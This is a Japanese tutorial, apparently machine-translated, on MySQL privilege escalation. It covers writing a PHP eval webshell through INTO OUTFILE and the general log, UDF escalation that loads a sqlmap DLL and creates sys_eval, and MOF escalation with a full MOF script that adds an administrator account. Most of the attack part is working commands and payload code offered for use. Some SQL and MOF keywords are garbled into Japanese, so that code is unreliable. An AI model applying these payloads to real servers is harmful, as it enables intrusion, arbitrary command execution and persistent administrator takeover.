MySQL 権限昇格のさまざまな形態の概要

MySQL 権限昇格のさまざまな形態の概要

1. Webshel​​lを書く

出力ファイルにシェルを書き込む

前提条件:

1. ウェブサイトの物理的なパスを知る

2. 高い権限を持つデータベースユーザー

3. load_file() が有効になっている、つまり secure_file_priv は無制限である

4. ウェブサイトのパスに書き込み権限がある

まず、基本構文は、secure_file_privに制限がないかどうかを問い合わせます。

'%secure_file_priv%' のようなグローバル変数を表示します。 

価値例示する
NULL輸入も輸出も禁止
/varインポートとエクスポートは/varディレクトリでのみ許可されます
ヌル無制限のディレクトリ

MySQL 5.5 より前では、 secure_file_priv はデフォルトで空でした。この場合、任意の絶対パスにファイルを書き込むことができました。

MySQL 5.5 以降では、 secure_file_priv のデフォルトは NULL に設定され、その場合、ファイルを書き込むことはできません。

上記の条件がすべて満たされている場合は、次の SQL ステートメントを使用してシェルに直接書き込むことができます。

'<?php @eval($_POST[cmd]); ?>' を出力ファイル 'C:\\soft\\WWW\\empirecms\\shell.php' に選択します。 

ターゲットパスを確認し、shell.phpファイルが書き込まれていることを確認します。

上部包丁接続部

ログファイル書き込みシェル

前提条件:

1. Webフォルダの緩い権限が書き込まれる可能性がある

2. ウィンドウ

3. MySQLまたはApacheを高い権限で実行する

MySQL 5.0以降ではログファイルが作成されますが、ログのグローバル変数をgetshellに変更することで変更できます。

ログディレクトリを表示する

'general%' のような変数を表示します。 

general_log はデフォルトで無効になっています。有効にすると、ユーザーが入力したすべてのコマンドが記録され、対応するログ ファイルに保存されます。
ログ ファイルをカスタマイズして、ログ ファイルにコンテンツを書き込むと、getshell を正常に実行できます。

ログファイルの場所の変更

グローバル general_log を "ON" に設定します。
グローバル general_log_file を 'C:\\soft\\WWW\\empirecms\\log.php' に設定します。

現在のログ構成を表示する

ターゲットディレクトリを確認し、log.phpファイルを書き込みます

シェルに書き込む

'<?php @eval($_POST[cmd]); ?>' を選択します

包丁で接続する


2. UDF 権限昇格

カスタム関数は、データベース機能の拡張です。ユーザーはカスタム関数を使用して、MySQL では簡単に実装できない関数を実装できます。新しく追加された関数は、ネイティブ関数 version() を呼び出すのと同じように、SQL ステートメントで呼び出すことができます。

ダイナミック リンク ライブラリ

MySQL のバージョンが 5.1 以上の場合、カスタム関数を作成する前に、UDF ダイナミック リンク ライブラリ ファイルを MySQL インストール ディレクトリの下の lib\plugin フォルダに配置する必要があります。

では、ダイナミック リンク ライブラリ ファイルはどこにありますか?実際、私たちがよく使用するツールである sqlmap と Metasploit には、対応するシステム用のダイナミック リンク ライブラリ ファイルが付属しています。

sqlmap UDF ダイナミック リンク ライブラリ ファイルの場所

sqlmap ルートディレクトリ/data/udf/mysql

ただし、sqlmap に含まれるこれらのダイナミック リンク ライブラリは、誤って強制終了されることを防ぐためにコーディングされており、直接使用することはできません。ただし、sqlmap に付属するデコード ツール cloak.py を使用してデコードすることができます。cloak.py の場所は、sqlmap ルート ディレクトリ/extra/cloak/cloak.py です。

デコード方法は次のとおりです。

32 ビット Windows ダイナミック リンク ライブラリのデコード:

python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

他のLinuxおよびWindowsのダイナミックリンクライブラリのデコードも同様です

または、デコードせずにmetasploitに付属するダイナミックリンクライブラリを直接使用する

Metasploit UDF ダイナミック リンク ライブラリ ファイルの場所

次のタスクは、UDF ダイナミック リンク ライブラリ ファイルを MySQL プラグイン ディレクトリに配置することです。このディレクトリを見つけるにはどうすればよいでしょうか?次の SQL ステートメントを使用してクエリを実行できます。

'%plugin%' のような変数を表示する


ダイナミックリンクライブラリの書き込み

secure_file_privが無制限の場合、プラグインディレクトリに手動でファイルを書き込むことができます。

load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll') をダンプファイル 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll' に選択します。

c

カスタム関数を作成し、コマンドを呼び出す

カスタム関数の作成

CREATE FUNCTION sys_eval は STRING SONAME 'udf.dll' を返します。 

sys_evalが追加されているかどうかを確認する

次に、作成された関数を通じてシステム コマンドを実行できます。

カスタム関数の削除

関数 sys_eval を削除します。

3. MOF 権限昇格

Mof 権限昇格原則

mof 権限昇格の原理は、実は非常に単純です。c:/windows/system32/wbem/mof/ ディレクトリの nullevt.mof ファイルを使用して、特定の時間に 1 分ごとに実行し、実行用の cmd コマンドを書き込みます。

厳格な前提条件:

1. Windows 03以下

2. mysqlの起動IDには、c:/windows/system32/wbem/mofディレクトリの読み取りと書き込みの権限があります。

3. secure-file-privパラメータがnullではない

権限昇格プロセス:

MOF ファイルは 5 秒ごとに実行され、システム権限です。mysql を介して load_file を使用してファイルを /wbme/mof に書き込むと、システムはアップロードした MOF を 5 秒ごとに実行します。 MOF には vbs スクリプトがあります。この vbs スクリプトの内容を制御して、システムがコマンドを実行し、権限を昇格できるようにすることができます。

エクスプロイト コードは次のとおりです (test.mof):

#pragma namespace("\\\\.\\root\\subscription")
__EventFilter のインスタンスを $EventFilter として
{
イベント名前空間 = "Root\\Cimv2";
名前 = "filtP2";
クエリ = "Select * From __InstanceModificationEvent"
「TargetInstance は \"Win32_LocalTime\" です」
「そして TargetInstance.Second = 5」;
クエリ言語 = "WQL";
};
ActiveScriptEventConsumer のインスタンスを $Consumer として
{
名前 = "consPCSV2";
スクリプトエンジン = "JScript";
スクリプトテキスト =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")";
};
__FilterToConsumerBinding のインスタンス
{
消費者 = $Consumer;
フィルター = $EventFilter;
};

MOF ファイルの使用率:

上記のスクリプトを読み取りおよび書き込み権限のあるディレクトリにアップロードします。

ここではC:\soft\にアップロードし、SQL文を使用してファイルをc:/windows/system32/wbem/mof/にインポートします。

load_file("C:/soft/test.mof") をダンプファイル "c:/windows/system32/wbem/mof/nullevt.mof" に選択します。

権限昇格を確認します。

mof のエクスポートに成功すると、mof が直接実行され、5 秒ごとにユーザーが作成されます。

MOF権限昇格のデメリットについて

権限の昇格に成功した後、アカウントが削除されたとしても、mof は 5 秒以内に元のアカウントを再構築します。これにより、テストを終了するのに大きな問題が発生するため、注意して使用してください。では、ハッキングされたアカウントを削除するにはどうすればいいのでしょうか?

cmd で次のステートメントを実行します。

#winmgmt サービスを停止します net stop winmgmt

#リポジトリフォルダを削除します rmdir /s /q C:\Windows\system32\wbem\Repository\

# mof ファイルを手動で削除します del c:/windows/system32/wbem/mof/nullevt.mof /F /S

# 作成したユーザーを削除する net user hpdoger /delete

#サービスを再起動しますnet start winmgmt

要約する

これで、MySQL 権限昇格手法に関するこの記事は終了です。MySQL 権限昇格手法の詳細については、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。

以下もご興味があるかもしれません:
  • Linux は UDF ライブラリを使用して MySQL 権限昇格を実現します
  • MySQL 権限昇格方法
  • MySQL の名の下に権限を昇格する

<<:  モバイル適応型ウェブページ効果は、小さな表示ページの問題を解決します

>>:  div を下から上にスライドさせる CSS3 の例

推薦する

jsを使用して簡単なスネークゲームを書く

この記事では、参考までに、jsで書かれたシンプルなスネークゲームの具体的なコードを紹介します。具体的...

Vueデータ監視の原理の詳細な説明

目次1. はじめにII. 監視対象2.1 なぜオブジェクトを監視する必要があるのですか? 2.2 デ...

jQueryはシンプルなカルーセル効果を実装します

みなさんこんにちは。今日はカルーセルの実装についてお話しします。私が作成したカルーセルの効果は次のと...

60件のページング事例と優れた実践例を推奨

<br />構造と階層により複雑さが軽減され、読みやすさが向上します。記事やサイトが整理...

MySQL データベースのバックアップをスケジュールするいくつかの方法 (包括的)

目次1. データをバックアップするためのmysqldumpコマンド2. 一般的なmysqldump操...

MySQLトランザクションの特徴と分離レベルについてお話ししましょう

インターネットにはすでにこの種の記事が溢れていますが、私がこれをまだ書いている理由は単純です。それは...

MySQL 8.0.11 圧縮版のインストールと設定方法のグラフィックチュートリアル

MySQL 8.0圧縮パッケージのインストール方法、詳細は次のとおりです知らせ:オペレーティング シ...

Tomcat パイプライン モードのパイプラインとバルブの詳細な説明

序文比較的複雑な大規模システムでは、複雑なロジックで処理する必要があるオブジェクトまたはデータ フロ...

Linux カーネル デバイス ドライバー仮想ファイル システムに関する注意事項

/******************** * 仮想ファイルシステム VFS **********...

マークアップ言語 -

123WORDPRESS.COM HTML チュートリアル セクションに戻るには、ここをクリックして...

Vueスロットの実装原理についての簡単な説明

目次1. サンプルコード2. 現象を通して本質を見抜く3. 実施原則4. 親コンポーネントのコンパイ...

MySQL はどのようにしてマスターとスレーブの一貫性を確保するのでしょうか?

目次MySQLマスタースレーブの基本原理3つのbinlog形式の比較混合形式のバイナリログが存在する...

vue+elementUI で埋め込みテーブルを実装する方法の例

大学 4 年生のときのインターンシップ中に、表内のデータの番号をクリックすると、そのデータの下に新し...

MySQLでのカスタムパラメータの使用に関する詳細な説明

MySQL 変数には、システム変数とシステム変数が含まれます。今回の学習課題はユーザー定義変数です。...

VMware Workstation 12 Pro Linux インストール チュートリアル

この記事は、VMware Workstation 12 ProのインストールLinuxチュートリアル...